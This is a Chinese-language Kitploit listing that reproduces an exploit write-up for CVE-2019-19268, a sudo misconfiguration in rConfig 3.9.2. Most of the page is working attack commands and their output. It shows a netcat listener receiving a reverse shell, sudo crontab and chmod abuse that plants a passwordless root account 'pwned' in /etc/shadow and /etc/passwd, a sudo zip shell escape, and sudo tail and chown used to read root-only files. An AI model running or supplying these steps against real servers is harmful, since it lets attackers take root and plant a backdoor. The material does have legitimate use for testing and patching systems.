Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-19268 — 新发现的0-days! | Kitploit
工具/GitHubGitHub/thecybergeek/cve-2019-19268
权限提升漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用渗透测试命令与控制错误配置
GitHubthecybergeek/cve-2019-19268

CVE-2019-19268

新发现的0-days!

查看仓库
34326年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-19268

受影响版本:rConfig 3.9.2。

[描述]
由于配置错误,rConfig v3.9.2 中存在多个攻击向量,允许本地用户通过 sudo 执行 root 命令。

[发现者]
dmw0ng - Discord: dmw0ng#4449
TheCyberGeek - Discord: TheCyberGeek#1892
电子邮件: [email protected]

rConfig 3.9.2 的 sudo 配置让 apache 用户可以以 root 身份执行 /usr/bin/zip、/bin/chmod 和 /usr/bin/tail 程序。结合 CVE-2019-16662 和 CVE-2019-16663,可用于远程代码执行。

这是一组因用户配置不当导致系统被入侵的漏洞。

[漏洞类型]
不安全的权限

操作系统: CentOS 7.7.1908 软件: rConfig v3.9.2

由于配置错误,rConfig v3.9.2 中存在多个攻击向量,允许本地用户通过 sudo 执行 root 命令。

使用 Askar 的漏洞利用程序:
https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/ 我们可以在 rConfig 3.9.2 上获得 apache 用户权限。

访问

root@kitploit:~
root@TheCyberGeek:~# nc -lvvp 4444
listening on [any] 4444 ...
192.168.230.22: inverse host lookup failed: Unknown host
connect to [10.10.11.3] from (UNKNOWN) [192.168.230.22] 60598
whoami
apache
id
uid=48(apache) gid=48(apache) groups=48(apache)

获取 root 的多个攻击向量:

用户 apache 可以在 Misconfigured 上运行以下命令:
(ALL) NOPASSWD: /usr/bin/crontab, /usr/bin/zip, /bin/chmod, /bin/chown, /usr/bin/whoami, /usr/bin/wc, /usr/bin/tail, /bin/rm

sudo /usr/bin/crontab:

root@kitploit:~
id
uid=48 gid=48(apache) groups=48(apache)
sudo /usr/bin/crontab -l | { cat; echo "* * * * * echo 'pwned:::0:99999:7:::' >> /etc/shadow"; } | sudo /usr/bin/crontab -
sudo /usr/bin/crontab -l | { cat; echo "* * * * * echo 'pwned:x:0:0:root:/root:/bin/bash' >> /etc/passwd"; } | sudo /usr/bin/crontab -
sudo /usr/bin/crontab -l
* * * * * echo 'pwned:::0:99999:7:::' >> /etc/shadow
* * * * * echo 'pwned:x:0:0:root:/root:/bin/bash' >> /etc/passwd
su pwned
id
uid=0(root) gid=0(root) groups=0(root)

sudo /usr/bin/zip:

root@kitploit:~
id
uid=48 gid=48(apache) groups=48(apache)
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 65%)
sudo rm $TF
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

sudo /bin/chmod

root@kitploit:~
sudo /bin/chmod 777 /etc/shadow
sudo /bin/chmod 777 /etc/passwd
echo "pwned:::0:99999:7:::" >> /etc/shadow
echo "pwned:x:0:0:root:/root:/bin/bash" >> /etc/passwd
su pwned
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

sudo /usr/bin/tail 文件读取

root@kitploit:~
id
uid=48(apache) gid=48(apache) groups=48(apache)
ls -la /root/secret.txt
-rwx------ 1 root root 19 Nov 25 11:41 /root/secret.txt
cat /root/secret.txt

LFILE=/root/secret.txt
sudo tail -c1G "$LFILE"
I got the secret

sudo /bin/chown 更改文件权限

root@kitploit:~
ls -la /root/secret.txt
-rwx------ 1 root root 19 Nov 25 11:41 /root/secret.txt
sudo /bin/chown apache:apache /root/secret.txt
ls -la /root/secret.txt
-rwx------ 1 apache apache 19 Nov 25 11:41 /root/secret.txt
cat /root/secret.txt
I got the secret

因此,我们能够完全攻陷任何安装了 rConfig 的 CentOS 7.7.1908 系统。

下载工具